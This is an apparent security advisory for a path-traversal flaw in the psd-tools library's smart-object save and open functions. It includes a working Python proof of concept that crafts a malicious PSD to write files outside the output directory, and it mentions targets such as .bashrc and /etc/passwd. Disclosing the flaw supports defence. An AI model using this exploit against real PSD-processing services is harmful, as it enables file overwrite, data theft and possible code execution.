psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.